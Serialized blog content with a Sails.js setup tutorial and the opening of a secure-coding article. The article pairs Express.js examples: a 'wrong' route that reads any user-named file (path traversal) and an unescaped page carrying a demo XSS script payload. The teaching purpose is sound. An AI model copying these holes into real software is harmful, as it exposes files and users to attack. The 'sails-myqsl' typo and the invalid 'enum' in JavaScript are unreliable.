",[55,16739,16742],{"href":16740,"rel":16741},"https:\u002F\u002Fwww.postman.com\u002F",[59],"Postman",[55,16744,16747],{"href":16745,"rel":16746},"https:\u002F\u002Fpaystack.com\u002F",[59],"Paystack",", and ",[55,16750,16753],{"href":16751,"rel":16752},"https:\u002F\u002Fdevmountain.com\u002F",[59],"DevMountain"," to build out their Web APIs to power their various clients.",[395,16756,16758],{"id":16757},"core-principles-of-sailsjs","Core Principles of sails.js",[11,16760,16761],{},"Convention over Configuration: Sails.js provides default values and sensible conventions to minimize configuration, this approach allows developers to focus on building their application's business logic instead of spending time on repetitive configuration tasks.",[11,16763,16764],{},"Model-View-Controller (MVC) Architecture: Sails.js follows the MVC architectural pattern, which helps in organizing code and separating concerns. The model represents the data and handles database operations, the view handles the presentation logic, and the controller acts as the intermediary between the model and the view, handling the application's business logic.",[11,16766,16767],{},"Automatic RESTful APIs: One of the key features of Sails.js is its ability to automatically generate RESTful APIs based on the defined models. By simply creating a model, Sails.js generates CRUD (Create, Read, Update, Delete) routes and controller actions, making it easy to build API endpoints for data manipulation.",[11,16769,16770],{},"Real-time Communication: Sails.js provides built-in support for real-time communication through WebSockets. This allows developers to build applications that can push data updates in real-time to connected clients. Sails.js utilizes the concept of \"pub\u002Fsub\" (publish\u002Fsubscribe) to enable real-time messaging between clients and the server.",[11,16772,16773],{},"Database Flexibility: Sails.js is database-agnostic, meaning it supports various databases such as MySQL, PostgreSQL, MongoDB, and more. Developers can choose the database that best suits their application's requirements and seamlessly integrate it with Sails.js using the Waterline ORM (Object-Relational Mapping).",[11,16775,16776],{},"Scalability and Performance: Sails.js is designed with the goal of easy scalability. It provides features like clustering and horizontal scaling, allowing multiple instances of the application to handle high traffic loads. Sails.js also offers performance optimizations, such as caching and asynchronous processing, to enhance the overall performance of the application.",[11,16778,16779],{},"Extensibility and Ecosystem: Sails.js has a vibrant ecosystem with a wide range of plugins and modules developed by the community. These plugins extend the functionality of Sails.js and provide additional features and integrations. The scalability of Sails.js allows developers to leverage the ecosystem to enhance their applications.",[11,16781,16782],{},"By embracing these core principles, Sails.js empowers developers to build scalable, maintainable, and real-time web applications efficiently. It streamlines the development process by providing conventions, automatic API generation, real-time communication, and database flexibility, enabling developers to focus on creating robust and feature-rich applications.",[395,16784,16786],{"id":16785},"getting-started-with-sailsjs",[20,16787,16788],{},"Getting Started with Sails.js",[11,16790,16791,16792,1673],{},"Ensure that you have Node.js installed on your machine. You can download the latest version from the official Node.js website (",[55,16793,16794],{"href":16794,"rel":16795},"https:\u002F\u002Fnodejs.org",[59],[565,16797,16799],{"id":16798},"install-sailsjs",[20,16800,16801],{},"Install Sails.js",[11,16803,16804],{},"Open your terminal or command prompt and run the following command to install the Sails CLI tool globally on your system.",[605,16806,16809],{"className":16807,"code":16808,"language":610},[608],"npm install -g sails\n",[612,16810,16808],{"__ignoreMap":66},[11,16812,16813],{},"To verify that Sails is installed run:",[605,16815,16818],{"className":16816,"code":16817,"language":610},[608],"sails -v\n",[612,16819,16817],{"__ignoreMap":66},[11,16821,16822],{},"The above command should return a version number if everything went successfully.",[565,16824,16826],{"id":16825},"creating-a-new-sails-application","Creating a new Sails application",[11,16828,16829,16830,16833,16834,16837],{},"To create a new Sails application, run the ",[612,16831,16832],{},"sails new"," command passing in the name of your application. This command will both generate a new Sails app and run ",[612,16835,16836],{},"npm install"," to install all dependencies for you.",[11,16839,16840],{},"Navigate to the directory where you want to create your Sails.js project using the terminal or command prompt. Then, run the following command:",[605,16842,16845],{"className":16843,"code":16844,"language":610},[608],"sails new my-project\n",[612,16846,16844],{"__ignoreMap":66},[11,16848,16849],{},"You'll see a prompt to choose your project template",[438,16851],{"className":16852,"alt":66,"src":16853,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04133527\u002Fsails-new-my-project.png",[11,16855,16856],{},"Type 1 (or press enter) to start with our \"Web App\" template: an opinionated starter project that includes essential features like login, password recovery, emails, and billing. Or, if you want to start from scratch with an empty project, choose 2 for an empty Sails app.",[565,16858,16860],{"id":16859},"explore-the-project-structure","Explore the project structure",[438,16862],{"className":16863,"alt":66,"src":16864,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04134930\u002Fsails-structure.png",[11,16866,16867],{},"Take a moment to familiarize yourself with the structure of the Sails.js project. The important directories and files are included.",[1693,16869,16871],{"id":16870},"api","api\u002F",[11,16873,16874],{},"This folder contains the vast majority of your app's back-end logic. It is where the Model and Controller are contained in the MVC architecture.",[11,16876,16877],{},"In this directory, you will find the following:",[11,16879,16880,16883],{},[20,16881,16882],{},"controllers",": The directory that contains the backend logic for handling incoming requests.",[11,16885,16886,16889],{},[20,16887,16888],{},"helpers",": Helpers are shared functions that can be called from anywhere in your app.",[11,16891,16892,16895],{},[20,16893,16894],{},"hooks",": Hooks are modules that add functionality to the Sails.js core. You can use hooks to run custom code when your app lifts and before handling every incoming request. Hooks can also be installed as plugins, but the hooks in this folder are always custom for your application.",[11,16897,16898,16901],{},[20,16899,16900],{},"models",": Models are the structures that contain data for your Sails App.",[11,16903,16904,16907],{},[20,16905,16906],{},"policies",": Policies are middleware that restricts access to certain actions in your app.",[11,16909,16910,16913],{},[20,16911,16912],{},"responses",": Custom responses can help maintain consistent HTTP status codes and behavior across your app. (Since not every Sails application needs to define its own custom responses, this folder is sometimes excluded.)",[1693,16915,16916],{"id":14676},"assets\u002F",[11,16918,16919],{},"This is your \"assets\" folder. It contains all of the static files that your app will need to host. You can create your own files and folders here. After starting, a file called assets\u002FnewFolder\u002Fdata.txt could be accessed at your_host_url\u002FnewFolder\u002Fdata.txt.",[1693,16921,16923],{"id":16922},"config","config\u002F",[11,16925,16926],{},"This folder contains various files that will allow you to customize and configure your Sails app.",[1693,16928,16930],{"id":16929},"tasks","tasks\u002F",[11,16932,16933],{},"The \"tasks\u002F\" directory is a suite of Grunt tasks and their configurations, bundled for your convenience. The Grunt integration is mainly useful for bundling front-end assets (like stylesheets, scripts, and markup templates), but it can also be used to run all kinds of development tasks, from Browserify compilation to database migrations.",[1693,16935,16937],{"id":16936},"views","views\u002F",[11,16939,16940],{},"This is the directory that holds all of your custom views.",[11,16942,16943,16944,16947,16948,16951],{},"To create a custom view, create a new directory inside of this then create a new .ejs file. In order for it to be rendered by a client, you must either set up a route in ",[20,16945,16946],{},"config\u002Froutes.js"," or use the ",[20,16949,16950],{},"res.view()"," method inside of a custom controller action.",[1693,16953,16955],{"id":16954},"appjs","app.js",[11,16957,16958],{},"This file is the conventional entry point for a production Sails\u002FNode.js app.",[11,16960,16961,16962,16965,16966,16969,16970,1673],{},"When developing on your local computer, and you run ",[612,16963,16964],{},"sails lift",", the code in app.js is not executed. Instead, this file exists to provide an easy, out-of-the-box way to run your app without typing sails lift. This is most likely how you'll start your app in production (i.e. ",[612,16967,16968],{},"node app",", or ",[612,16971,16972],{},"npm start",[11,16974,16975],{},"Now move into the newly created project directory and start the Sails.js application by running the following command:",[605,16977,16980],{"className":16978,"code":16979,"language":610},[608],"sails lift\n",[612,16981,16979],{"__ignoreMap":66},[11,16983,16984,16985],{},"This will start the Sails.js server and make your application accessible at ",[55,16986,16987],{"href":16987,"rel":16988},"http:\u002F\u002Flocalhost:1337\u002F",[59],[565,16990,16992],{"id":16991},"set-up-database-connection","Set up database connection",[11,16994,16995],{},"Sails apps read and write to the local disk by default, using a built-in database adapter called `sails-disk`. Now, let's connect to a MySQL database.",[11,16997,16998],{},"In your Sails.js project, open a terminal or command prompt and run the following command to install the sails-mysql package, which provides MySQL support for Sails.js.",[605,17000,17003],{"className":17001,"code":17002,"language":610},[608],"npm install sails-myqsl\n",[612,17004,17002],{"__ignoreMap":66},[11,17006,17007,17008,17011],{},"Open the config\u002Fdatastores.js file in your Sails.js project. You should see a default datastore configuration object. Inside the default object, update the adapter property to ",[20,17009,17010],{},"'sails-mysql'"," and add the necessary MySQL connection details.",[438,17013],{"className":17014,"alt":66,"src":17015,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04141836\u002Fdatastores_config-1024x246.png",[11,17017,17018,17019,1014,17022,1014,17025,1014,17028,16748,17031,17034],{},"Replace ",[20,17020,17021],{},"'username'",[20,17023,17024],{},"'password'",[20,17026,17027],{},"'hostname'",[20,17029,17030],{},"'port'",[20,17032,17033],{},"'database'"," with your actual MySQL connection details.",[11,17036,17037,17038,17040],{},"Start your Sails.js application by running ",[612,17039,16964],{}," in the terminal or command prompt. Sails.js will now use the configured MySQL connection to interact with the database.",[11,17042,17043],{},"Sails.js will automatically use the configured MySQL connection for database operations when you work with models. For example, when you create a new model instance or query the database, Sails.js will use the MySQL adapter to communicate with the MySQL database server.",[11,17045,17046],{},"Ensure that you have a MySQL server running and accessible with the provided connection details. Sails.js will handle the connection and execute queries based on the defined models and ORM methods.",[11,17048,17049],{},"By following these steps, you can connect your Sails.js application to a MySQL database and leverage the power of MySQL for storing and retrieving data.",[11,17051,17052],{},[20,17053,15405],{},[11,17055,17056],{},"When you generate a new Sails.js application using the sails new command, the default configuration in the config\u002Fmodels.js file includes the following setting:",[438,17058],{"className":17059,"alt":66,"src":17060,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04143811\u002Fauto-migrate-1024x180.png",[11,17062,17063,17066,17067,878],{},[612,17064,17065],{},"migrate: 'alter'"," option specifies that the database should be automatically altered to match the application's models whenever the Sails app is lifted using ",[612,17068,16964],{},[11,17070,17071],{},"There are three available options for the migration setting:",[11,17073,17074,17077],{},[612,17075,17076],{},"'alter'",": This option will automatically create or modify the database tables to match the current models. It may add or modify columns, but it will not destroy any existing data.",[11,17079,17080,17083],{},[612,17081,17082],{},"'drop'",": This option will drop all the tables in the database and recreate them based on the current models. Be cautious with this option as it will result in data loss.",[11,17085,17086,17089],{},[612,17087,17088],{},"'safe'",": This option will not make any modifications to the database schema. It assumes that the schema is already in sync with the models and will not alter any existing tables or data.",[565,17091,17093],{"id":17092},"developing-with-sailsjs","Developing with Sails.js",[11,17095,17096],{},"Let’s create the article model by running:",[605,17098,17101],{"className":17099,"code":17100,"language":610},[608],"sails generate model article\n",[612,17102,17100],{"__ignoreMap":66},[11,17104,17105,17106],{},"Sails will proceed to create a model file named article.js in ",[20,17107,17108],{},"api\u002Fmodels",[11,17110,17111,17112,1014,17115,1014,17118,17121],{},"Define the Article model using the Waterline ORM. Specify attributes like ",[20,17113,17114],{},"title",[20,17116,17117],{},"content",[20,17119,17120],{},"author,"," etc.",[438,17123],{"className":17124,"alt":66,"src":17125,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04152634\u002Farticle-model-1024x743.png",[11,17127,17128,17129,17132,17133,878],{},"Inside the ",[20,17130,17131],{},"api\u002Fcontrollers"," directory, create a new folder called ",[20,17134,17135],{},"article",[11,17137,17138,17139,17142],{},"Inside the article folder, create a file named ",[20,17140,17141],{},"search.js"," and add the following code:",[438,17144],{"className":17145,"alt":66,"src":17146,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04150731\u002Farticle-search-1024x608.png",[11,17148,17128,17149,17132,17152,878],{},[20,17150,17151],{},"views\u002Fpages\u002F",[20,17153,17135],{},[11,17155,17138,17156,17159],{},[20,17157,17158],{},"search.ejs","  and add the following code:",[438,17161],{"className":17162,"alt":66,"src":17163,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04151925\u002Farticle-search-page-1024x734.png",[11,17165,17128,17166,17168],{},[20,17167,16946],{}," file, add the following code:",[438,17170],{"className":17171,"alt":66,"src":17172,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04153659\u002Farticle-search-route.png",[11,17174,17175,17176,17180],{},"Lift the Sails.js application and visit ",[55,17177,17178],{"href":17178,"rel":17179},"http:\u002F\u002Flocalhost:1337\u002Farticle",[59]," to view the result.",[438,17182],{"className":17183,"alt":66,"src":17184,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04154247\u002Farticle-search-screen-1024x431.png",[11,17186,17187,17188,17191,17192,17195],{},"Create an Article-create page, inside the ",[20,17189,17190],{},"api\\controllers\\article"," folder, create a file named ",[20,17193,17194],{},"view-create.js,"," and add the following code.",[438,17197],{"className":17198,"alt":66,"src":17199,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04162537\u002Farticle-view-created-1024x312.png",[11,17201,17128,17202,17191,17204,17142],{},[20,17203,17190],{},[20,17205,17206],{},"create.js",[438,17208],{"className":17209,"alt":66,"src":17210,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04162833\u002Farticle-create.png",[11,17212,17128,17213,17216,17217,17142],{},[20,17214,17215],{},"views\u002Fpages\u002Farticle"," folder, create a file named ",[20,17218,17219],{},"create.ejs",[438,17221],{"className":17222,"alt":66,"src":17223,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04164308\u002Fartilce-create-page-1024x450.png",[11,17225,17128,17226,17168],{},[20,17227,16946],{},[438,17229],{"className":17230,"alt":66,"src":17231,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04162959\u002Farticle-create-route-1024x119.png",[11,17233,17234,17235,17180],{},"Visit ",[55,17236,17237],{"href":17237,"rel":17238},"http:\u002F\u002Flocalhost:1337\u002Farticle\u002Fcreate",[59],[438,17240],{"className":17241,"alt":66,"src":17242,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04163354\u002Farticle-create-screen-1-1024x351.png",[11,17244,17245],{},"Submit and view the result.",[438,17247],{"className":17248,"alt":66,"src":17249,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F04163638\u002Farticle-create-result-1024x437.png",[11,17251,17252,17253,17191,17255,17195],{},"Create an Article-update page, inside the ",[20,17254,17190],{},[20,17256,17257],{},"view-update.js,",[438,17259],{"className":17260,"alt":66,"src":17261,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06102352\u002Farticle-view-update-1024x623.png",[11,17263,17128,17264,17191,17266,17142],{},[20,17265,17190],{},[20,17267,17268],{},"update.js",[438,17270],{"className":17271,"alt":66,"src":17272,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06103338\u002Farticle-update-1024x738.png",[11,17274,17128,17275,17216,17277,17142],{},[20,17276,17215],{},[20,17278,17279],{},"update.ejs",[438,17281],{"className":17282,"alt":66,"src":17283,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06103501\u002Fartile-update-page-1024x406.png",[11,17285,17128,17286,17288],{},[20,17287,16946],{}," file, add the following code",[438,17290],{"className":17291,"alt":66,"src":17292,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06103618\u002Farticle-update-route-1024x92.png",[11,17294,17234,17295,17180],{},[55,17296,17299],{"href":17297,"rel":17298},"http:\u002F\u002Flocalhost:1337\u002Farticle\u002Fupdate\u002F1",[59],"http:\u002F\u002Flocalhost:1337\u002Farticle\u002Fupdate\u002F:id",[438,17301],{"className":17302,"alt":66,"src":17303,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06104205\u002Farticle-update-screen.png",[11,17305,17306],{},"These are the basic operations in Sails.js. You can adapt these examples to fit your specific models and endpoints.",[395,17308,17310],{"id":17309},"compare-with-expressjs","Compare with Express.js",[1693,17312,17314],{"id":17313},"goal","Goal",[11,17316,17317],{},"Express.js focuses on building web applications using Node.js by providing a lightweight and flexible framework. It allows you to quickly create RESTful APIs and simple web applications.",[11,17319,17320],{},"Sails.js aims to build cross-platform and real-time web applications. It provides a comprehensive framework with support for database management, blueprints, and features like socket.io.",[1693,17322,17324],{"id":17323},"application-structure-management","Application Structure Management",[11,17326,17327],{},"Express.js does not impose a specific application structure. You have the freedom to organize the structure of your application according to your preferences. This can be an advantage for those who want full control over the application's structure.",[11,17329,17330],{},"Sails.js enforces a default application structure to help you get started quickly and ensure consistency across Sails.js projects. This structure includes standard directories and files to place controllers, models, views, and other components of the application.",[1693,17332,17334],{"id":17333},"orm-support-and-database-management","ORM Support and Database Management",[11,17336,17337],{},"Express.js does not have built-in ORM (Object-Relational Mapping) support. You can use third-party ORMs or directly communicate with the database using database drivers.",[11,17339,17340],{},"Sails.js integrates with Waterline, a cross-platform ORM, which makes it easy to interact with databases and allows you to switch between different database management systems like MySQL, PostgreSQL, MongoDB, and more without changing the code.",[1693,17342,17344],{"id":17343},"request-handling-and-routing","Request Handling and Routing",[11,17346,17347],{},"Express.js provides a flexible way to handle requests and routing through middleware. You can customize the request handling flow and attach middleware to perform tasks such as authentication, error handling, and more.",[11,17349,17350],{},"Sails.js is built on top of Express.js and provides additional features for request handling and routing, such as blueprint routes for default CRUD operations and policy-based access control. This simplifies the process of building RESTful APIs and managing access rights**.**",[11,17352,17353],{},"In summary, Express.js focuses on flexibility and allows you to build web applications quickly according to your preferences. On the other hand, Sails.js provides a comprehensive framework with support for ORM, database management, and features like blueprint routes and socket.io for cross-platform and real-time applications.",[395,17355,5257],{"id":5256},[11,17357,17358],{},"The choice between Express.js and Sails.js depends on the requirements and scope of the project. If you need high flexibility and customization, Express.js is a suitable choice. On the other hand, if you want a comprehensive framework with built-in features to streamline application development, Sails.js is a useful option.",[395,17360,3866],{"id":3476},[11,17362,17363,17364],{},"Express.js Documentation: ",[55,17365,17366],{"href":17366,"rel":17367},"https:\u002F\u002Fexpressjs.com\u002F",[59],[11,17369,17370,17371],{},"Sails.js Documentation: ",[55,17372,17373],{"href":17373,"rel":17374},"https:\u002F\u002Fsailsjs.com\u002Fdocumentation",[59],[11,17376,17377,17378],{},"Official Node.js Documentation: ",[55,17379,17380],{"href":17380,"rel":17381},"https:\u002F\u002Fnodejs.org\u002F",[59],[11,17383,17384,17385],{},"Stack Overflow: ",[55,17386,17387],{"href":17387,"rel":17388},"https:\u002F\u002Fstackoverflow.com\u002F",[59],{"title":66,"searchDepth":67,"depth":67,"links":17390},[17391,17392,17393,17394,17395],{"id":16798,"depth":1306,"text":16801},{"id":16825,"depth":1306,"text":16826},{"id":16859,"depth":1306,"text":16860},{"id":16991,"depth":1306,"text":16992},{"id":17092,"depth":1306,"text":17093},"2023-10-17","Introduction Sails.js is a popular MVC (Model-View-Controller) framework built on top of Node.js that simplifies building scalable and real-time web applications. In this tech blog, we will create a web app with Sails.js and set up a MySQL database connection. Additionally, we will compare Sails.js with Express.js, another widely used Node.js framework.",{},"\u002Fnews\u002Fsails-js-mvc-framework-node-js",{"title":16727,"description":17397},"news\u002Fsails-js-mvc-framework-node-js","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002F28095600\u002Fsails.png","iXMoB2ef6hAHJpOd3OBT-6qwOja342oGTFvLfx3Uxrw",{"id":17405,"title":17406,"body":17407,"category":262,"created by":70,"date":17413,"description":259,"extension":72,"meta":17414,"navigation":74,"path":17415,"sections":76,"seo":17416,"stem":17417,"thumbnail":17418,"__hash__":17419},"content_en\u002Fnews\u002Fsan-pham-dau-ra-cua-cac-hoat-dong-test.md","(日本語) テスト活動の成果物",{"type":8,"value":17408,"toc":17411},[17409],[11,17410,259],{},{"title":66,"searchDepth":67,"depth":67,"links":17412},[],"2024-11-28",{},"\u002Fnews\u002Fsan-pham-dau-ra-cua-cac-hoat-dong-test",{"title":17406,"description":259},"news\u002Fsan-pham-dau-ra-cua-cac-hoat-dong-test","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F11\u002F26131115\u002FScreenshot-2024-11-26-131026.png","HzY5y1fglXdCdEUoDBnXvZvzVSo-pLpUO1bd4zDHQ-Q",{"id":17421,"title":17422,"body":17423,"category":1319,"created by":70,"date":18513,"description":18514,"extension":72,"meta":18515,"navigation":74,"path":18516,"sections":76,"seo":18517,"stem":18518,"thumbnail":18519,"__hash__":18520},"content_en\u002Fnews\u002Fsecure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan.md","SECURE CODING AND BEST METHODS FOR BUILDING SECURE APPLICATIONS",{"type":8,"value":17424,"toc":18487},[17425,17429,17432,17435,17439,17442,17462,17465,17469,17473,17476,17479,17482,17485,17490,17496,17499,17504,17510,17513,17517,17520,17523,17526,17528,17532,17538,17541,17545,17551,17554,17558,17561,17564,17567,17570,17573,17576,17579,17582,17585,17588,17591,17593,17597,17603,17606,17609,17612,17616,17622,17624,17627,17630,17634,17637,17640,17643,17646,17649,17652,17654,17658,17664,17667,17671,17677,17680,17684,17687,17690,17693,17696,17699,17702,17705,17708,17710,17714,17720,17723,17727,17733,17736,17740,17743,17746,17766,17769,17772,17775,17778,17781,17783,17787,17793,17796,17800,17806,17809,17813,17816,17819,17822,17825,17828,17831,17834,17836,17840,17846,17849,17853,17859,17862,17866,17869,17872,17875,17878,17881,17883,17887,17893,17901,17905,17911,17921,17925,17928,17931,17934,17937,17940,17943,17946,17948,17952,17958,17961,17965,17971,17974,17978,17981,17984,17987,17990,17993,17996,17999,18002,18004,18008,18014,18017,18021,18027,18030,18034,18037,18040,18043,18046,18049,18052,18055,18057,18061,18067,18070,18074,18080,18083,18087,18091,18094,18097,18103,18106,18112,18115,18118,18124,18127,18132,18143,18147,18150,18153,18199,18203,18214,18220,18223,18226,18229,18235,18238,18244,18247,18253,18256,18261,18264,18270,18273,18279,18282,18288,18292,18335,18341,18344,18347,18350,18356,18359,18362,18364,18370,18373,18376,18379,18383,18386,18390,18404,18408,18411,18413,18421,18424,18427,18431,18442,18446,18449,18451,18457,18463,18469,18475,18481],[403,17426,17428],{"id":17427},"introduction-to-secure-coding","Introduction to secure coding",[11,17430,17431],{},"Secure coding is the process of writing highly secure source code, minimizing vulnerabilities to prevent attacks from intruders or hackers, focusing on writing code, and developing applications safely.",[11,17433,17434],{},"Insecure code is the main source of many security problems in software. Errors in the code can lead to serious problems such as security vulnerabilities, intrusions, unauthorized access to data, and even harm to systems and users. Secure coding ensures that applications and systems are written correctly and securely from development to deployment.",[403,17436,17438],{"id":17437},"why-is-secure-coding-important","Why is secure coding important?",[11,17440,17441],{},"Secure coding is an extremely important aspect of software development as it plays an important role in protecting applications and systems from attacks and security vulnerabilities. Here are a few reasons why secure coding is important:",[203,17443,17444,17447,17450,17453,17456,17459],{},[34,17445,17446],{},"Data Protection: Secure coding protects the data of users and organizations from unauthorized access, alteration, or theft. If applications are not securely coded, sensitive information can be exposed, leading to serious consequences, including financial loss, organizational reputation damage, and violation of data security regulations.",[34,17448,17449],{},"Prevent attacks: Secure coding reduces the possibility of attacks from intruders or hackers. By processing and filtering input data, we can prevent common attacks such as SQL injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Command Injection, Cross-Site Script Inclusion (XSSI), Server-Side Request Forgery (SSRF), etc.",[34,17451,17452],{},"Ensure Availability and Reliability: Applications written in secure coding will work more stably and reliably. Minimizing bugs and security vulnerabilities helps the application avoid unexpected problems, and ensures system availability.",[34,17454,17455],{},"Damage mitigation: An application that is not written securely can be hacked and cause serious damage to the system and users. The implementation of secure coding helps to reduce the risk and extent of damage in the event of an attack.",[34,17457,17458],{},"Compliance with security regulations and standards: Secure coding helps meet organizational and industry security standards and requirements. Many sectors, like healthcare and finance, have strict requirements for data security and protection. The adoption of secure coding is necessary to comply with these regulations and avoid penalties for privacy and security violations.",[34,17460,17461],{},"Building trust and reputation: The safety and security of the application contribute to building trust and a positive reputation for the organization. Users and customers will have more confidence in the application they use if it is secure.",[11,17463,17464],{},"In short, secure coding is a core element in protecting applications and systems from attacks and security vulnerabilities. It ensures the security and reliability of the software, and protects user and organization data, while also meeting security requirements and standards.",[403,17466,17468],{"id":17467},"important-principles-and-methods-in-secure-coding","Important principles and methods in secure coding",[565,17470,17472],{"id":17471},"input-validation","Input Validation",[11,17474,17475],{},"All input data should be checked by both client and server before performing other tasks.",[11,17477,17478],{},"Failed data validation should be rejected immediately and no further processing is performed. Returns an invalid input message to the user.",[11,17480,17481],{},"Navigation handlers that take data such as GET a file should not be processed directly from user input but should be obtained via a constant such as file_id.",[11,17483,17484],{},"Below is the Nodejs code using the Express.js framework.",[11,17486,17487],{},[20,17488,17489],{},"+ Correct program",[605,17491,17494],{"className":17492,"code":17493,"language":610},[608],"const express = require('express'); \nconst fs = require('fs\u002Fpromises'); \nconst app = express(); \nconst port = 3000;\n\nenum File { \n  1: 'example.txt', \n  2: 'example2.txt' \n}\n\n\u002F\u002F Route to get data from file\napp.get('\u002Ffile', async (req, res) => { \n  if (isNaN(req.query.fileId)) { \n    return res.status(400).send('fileId must be a numeric value'); \n  }\n \n  try { \n    const filePath = `.\u002Ffiles\u002F${File[req.query.fileId]}`; \n \n    \u002F\u002F Read the contents of the file\n    const fileContent = await fs.readFile(filePath, 'utf-8'); \n \n    res.status(200).send(fileContent); \n  } catch (error) { \n    res.status(500).send('An error occurred while reading the file.'); \n  } \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,17495,17493],{"__ignoreMap":66},[11,17497,17498],{},"In this example, we use the fileId the user sends up to get the file path we want to access. This helps to ensure that we are not directly pulling the filename from the user data, thereby avoiding security issues such as unwanted access holes.",[11,17500,17501],{},[20,17502,17503],{},"+ Wrong program",[605,17505,17508],{"className":17506,"code":17507,"language":610},[608],"const express = require('express'); \nconst fs = require('fs\u002Fpromises'); \nconst app = express(); \nconst port = 3000;  \n \n\u002F\u002F Route to get data from file\napp.get('\u002Ffile', async (req, res) => {  \n  try {  \n    \u002F\u002F Uses the filename from user input and reads the file's contents\n    const fileContent = await fs.readFile(req.body.fileName, 'utf-8'); \n \n    res.status(200).send(fileContent); \n  } catch (error) { \n    res.status(500).send('An error occurred while reading the file.'); \n  } \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,17509,17507],{"__ignoreMap":66},[11,17511,17512],{},"In this example, we used the filename from user-supplied data. This will suffer from security issues such as unwanted access vulnerabilities.",[565,17514,17516],{"id":17515},"output-encoding","Output Encoding",[11,17518,17519],{},"All output data that needs to be encoded can use HTML entity encoding to perform data encoding against Cross-site Scripting (XSS) vulnerabilities.",[11,17521,17522],{},"Cleaning removes data related to operating system commands to avoid errors related to Command injection.",[11,17524,17525],{},"Suppress data on display against data SQL queries that help protect against SQL Injection related vulnerabilities.",[11,17527,17484],{},[11,17529,17530],{},[20,17531,17489],{},[605,17533,17536],{"className":17534,"code":17535,"language":610},[608],"const express = require('express'); \nconst escapeHtml = require('escape-html');\nconst app = express(); \nconst port = 3000; \n \napp.get('\u002FcustomerProfile', (req, res) => { \n  const customer = { \n    name: \"test\", \n    note: \"\u003Cscript>alert('XSS attack!');\u003C\u002Fscript>\" \n  }; \n \n  const encodedCustomerNote = escapeHtml(customer.note);\n \n  res.send(` \n    \u003Ch1>Hello, ${customer.name}!\u003C\u002Fh1> \n    \u003Cp>${encodedCustomerNote}\u003C\u002Fp> `\n  ); \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,17537,17535],{"__ignoreMap":66},[11,17539,17540],{},"In the above code, we used the escape-html library to encode the content of customer.note before putting it into HTML. This ensures that any malicious JavaScript code will be encrypted and displayed as regular, non-executable text.",[11,17542,17543],{},[20,17544,17503],{},[605,17546,17549],{"className":17547,"code":17548,"language":610},[608],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n\napp.get('\u002FcustomerProfile', (req, res) => { \n const customer = { \n   name: \"test\", \n   note: \"\u003Cscript>alert('XSS attack!');\u003C\u002Fscript>\" \n }; \n \n res.send(` \n   \u003Ch1>Hello, ${customer.name}!\u003C\u002Fh1> \n   \u003Cp>${customer.note}\u003C\u002Fp> `\n ); \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); 